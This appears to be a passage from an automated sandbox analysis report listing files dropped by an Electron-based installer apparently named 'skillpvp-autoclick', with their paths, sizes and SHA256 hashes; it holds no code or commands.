        • SHA256 94fa1467b46eebfec580edffc1e4bb34aef251243ec24f58c80d443939b1dbb8
        • MD5 SHA1 SHA512 TLSH

        index.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\empty\index.js
        • Size 983B
        • SHA256 46e30a0f4b8833c6343e68959ec7cb407584e7cc4c7f251d91949a567031227d
        • MD5 SHA1 SHA512 TLSH

        file.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\ensure\file.js
        • Size 1KB
        • SHA256 a55ad2781fce21f8318603b68b8bdc9595e696ae840022fe006be21ad58412ff
        • MD5 SHA1 SHA512 TLSH

        index.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\ensure\index.js
        • Size 623B
        • SHA256 6c8e1d92d85d04c25c1a076b1270e26dfaa36583ba95d6d5b7874f3b1700cead
        • MD5 SHA1 SHA512 TLSH

        link.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\ensure\link.js
        • Size 1KB
        • SHA256 b3b32d4dc9e6df34155dcb9f8fbdef95ae8469114f0efeaa2e7161556e7e09e0
        • MD5 SHA1 SHA512 TLSH

        symlink-paths.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\ensure\symlink-paths.js
        • Size 3KB
        • SHA256 4d722a3483bdb4d072fa997ad54f33eab96b4fb7c38231ff0f7e492ae70c9453
        • MD5 SHA1 SHA512 TLSH

        symlink-type.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\ensure\symlink-type.js
        • Size 698B
        • SHA256 9cc0b6884cf394e8bebd149fae5ce82124ec8d19552c570b9873f46ad2b9856d
        • MD5 SHA1 SHA512 TLSH

        symlink.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\ensure\symlink.js
        • Size 2KB
        • SHA256 73877592460c91b00587ae5977fc556986a3b2cdaf6df937201de1fcb1d8b350
        • MD5 SHA1 SHA512 TLSH

        index.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\fs\index.js
        • Size 2KB
        • SHA256 7aa1d130502945a5967e2f0ab4a47a17689558342b5f1c4bd237e45863133468
        • MD5 SHA1 SHA512 TLSH

        index.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\index.js
        • Size 523B
        • SHA256 82ab0bc424e76eb1d857f8c998eabb1b66c125e3193c6905baa943230d88c6ae
        • MD5 SHA1 SHA512 TLSH

        index.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\json\index.js
        • Size 509B
        • SHA256 984c3badc1522a11a7ea91df9f4f31b4e4faf7d18f489d496d06449d361c3fd1
        • MD5 SHA1 SHA512 TLSH

        jsonfile.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\json\jsonfile.js
        • Size 291B
        • SHA256 857ad5cc1569d6455e53ed4be618d836257a0fce5d4db3bcda49c5510ea4b26a
        • MD5 SHA1 SHA512 TLSH

        output-json-sync.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\json\output-json-sync.js
        • Size 375B
        • SHA256 f8388235c1188eb35cdb7790829009207931f983933fedd7812ae2138f9124e3
        • MD5 SHA1 SHA512 TLSH

        output-json.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\json\output-json.js
        • Size 657B
        • SHA256 95d5328ff48a993a442dd537e362f5bc19ec60cd205683d3f401cc561d59615f
        • MD5 SHA1 SHA512 TLSH

        index.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\mkdirs\index.js
        • Size 312B
        • SHA256 bbffb8d9b32cf4fc9b81ffdbefd9f675be5d33724bce6612e9db1d50c9ca848c
        • MD5 SHA1 SHA512 TLSH

        mkdirs-sync.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\mkdirs\mkdirs-sync.js
        • Size 1KB
        • SHA256 b31f41bf0878ad8bb556e65d085ab0a3b0f13815ec2db88957d785765902e80e
        • MD5 SHA1 SHA512 TLSH

        mkdirs.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\mkdirs\mkdirs.js
        • Size 1KB
        • SHA256 f1e959fdf83c06a9434df900f81c4372c5948a486de9c398ef5e1667dc4c67df
        • MD5 SHA1 SHA512 TLSH

        win32.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\mkdirs\win32.js
        • Size 517B
        • SHA256 a58409301aa73ea6e2ed07dc1278638efec23066f20d16f295ddcd1d1805a61c
        • MD5 SHA1 SHA512 TLSH

        index.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\move-sync\index.js
        • Size 2KB
        • SHA256 7b3802576cfc150524945443583c8d10f778ee5093625782248be9d1b530944b
        • MD5 SHA1 SHA512 TLSH

        index.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\move\index.js
        • Size 4KB
        • SHA256 fc754fcc08efefd2ddfc20fce23364f86783f5c84d13ee9b418095f7bad7de47
        • MD5 SHA1 SHA512 SSDEEP TLSH

        index.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\output\index.js
        • Size 966B
        • SHA256 98b32626a3617fe4d952ca66d882e36b9cea195bac44696aff267fc9450c3f13
        • MD5 SHA1 SHA512 TLSH

        index.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\path-exists\index.js
        • Size 263B
        • SHA256 5ce096c95daec0259817248921b39a9e0df4d342db171138ccb62440cc7a0cbe
        • MD5 SHA1 SHA512 TLSH

        index.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\remove\index.js
        • Size 165B
        • SHA256 dff95c5640a0b4b769290126940a7683e0e6d29ec591df63b7296712f81d9c56
        • MD5 SHA1 SHA512 TLSH

        rimraf.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\remove\rimraf.js
        • Size 7KB
        • SHA256 c3d050119ef93e5343f3333eca9b2c4d425e8475bece5dc753f9377474699c1a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        assign.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\util\assign.js
        • Size 286B
        • SHA256 8448b9673d9723731866ebf6e88776e2086abec73d538f67a98876c6f69eac08
        • MD5 SHA1 SHA512 TLSH

        buffer.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\util\buffer.js
        • Size 263B
        • SHA256 77aafad91ef51ff48e4a52a31a9aaccb12290da0e5ea9d4de26c3d8840fcea86
        • MD5 SHA1 SHA512 TLSH

        utimes.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\lib\util\utimes.js
        • Size 2KB
        • SHA256 35541d309c85b8b6f0dab9dbc5f93d7f7a3db30fa41718655a9cb4bb5932fc93
        • MD5 SHA1 SHA512 TLSH

        package.json

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\node_modules\fs-extra\package.json
        • Size 941B
        • SHA256 410597d7c2af154c1ad2244fd984ce538e9a7db6a1a9e62566c0a36a8f22a48c
        • MD5 SHA1 SHA512 TLSH

        package.json

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\seco-file\package.json
        • Size 994B
        • SHA256 f4af604a1ef62de7234ad427e3f2dc51e50e09ee71bfc29de1555949d51d19d5
        • MD5 SHA1 SHA512 TLSH

        elevate.exe

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\elevate.exe
        • Size 105KB
        • SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
        • MD5 SHA1 SHA512 SSDEEP TLSH

        snapshot_blob.bin

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\snapshot_blob.bin
        • Size 261KB
        • SHA256 2bceef4822ca7cc3add4a9dcb67c51efb51c656fce96a3b840250de15379959c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        v8_context_snapshot.bin

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\v8_context_snapshot.bin
        • Size 611KB
        • SHA256 4fbe07f71b706c2a2948eba9a6b1979e23c83342b190723a6ec5251b2d6dad7c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vulkan-1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\vulkan-1.dll
        • Size 931KB
        • SHA256 3a433f9cbee4cc89ac58917f1872ee0f38ba451760d4bba6f37712f0c8179b7a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StdUtils.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\StdUtils.dll
        • Size 100KB
        • SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        System.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\System.dll
        • Size 12KB
        • SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
        • MD5 SHA1 SHA512 SSDEEP TLSH

        nsis7z.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\nsis7z.dll
        • Size 424KB
        • SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
        • MD5 SHA1 SHA512 SSDEEP TLSH

        default.exc

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.exc
        • Size 2B
        • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
        • MD5 SHA1 SHA512

        data_0

        • Path C:\Users\Admin\AppData\Roaming\skillpvp-autoclick\GPUCache\data_0
        • Size 8KB
        • SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
        • MD5 SHA1 SHA512 SSDEEP

        data_1

        • Path C:\Users\Admin\AppData\Roaming\skillpvp-autoclick\GPUCache\data_1
        • Size 264KB
        • SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
        • MD5 SHA1 SHA512 SSDEEP

        data_2

        • Path C:\Users\Admin\AppData\Roaming\skillpvp-autoclick\GPUCache\data_2
        • Size 8KB
        • SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
        • MD5 SHA1 SHA512 SSDEEP

        data_3

        • Path C:\Users\Admin\AppData\Roaming\skillpvp-autoclick\GPUCache\data_3
        • Size 8KB
        • SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
        • MD5 SHA1 SHA512 SSDEEP

        Network Persistent State

        • Path C:\Users\Admin\AppData\Roaming\skillpvp-autoclick\Network\Network Persistent State
        • Size 300B
        • SHA256 b2e851cc41e43c854794227ab9b02d8580624c4f474bff4e29ca3205d7242380
        • MD5 SHA1 SHA512 TLSH

        Network Persistent State~RFe5abd66.TMP

        • Path C:\Users\Admin\AppData\Roaming\skillpvp-autoclick\Network\Network Persistent State~RFe5abd66.TMP
        • Size 59B
        • SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
        • MD5 SHA1 SHA512 TLSH

        memory/4152-916-0x000001CA77770000-0x000001CA777C0000-memory.dmp

        memory/4152-915-0x000001CA77300000-0x000001CA77322000-memory.dmp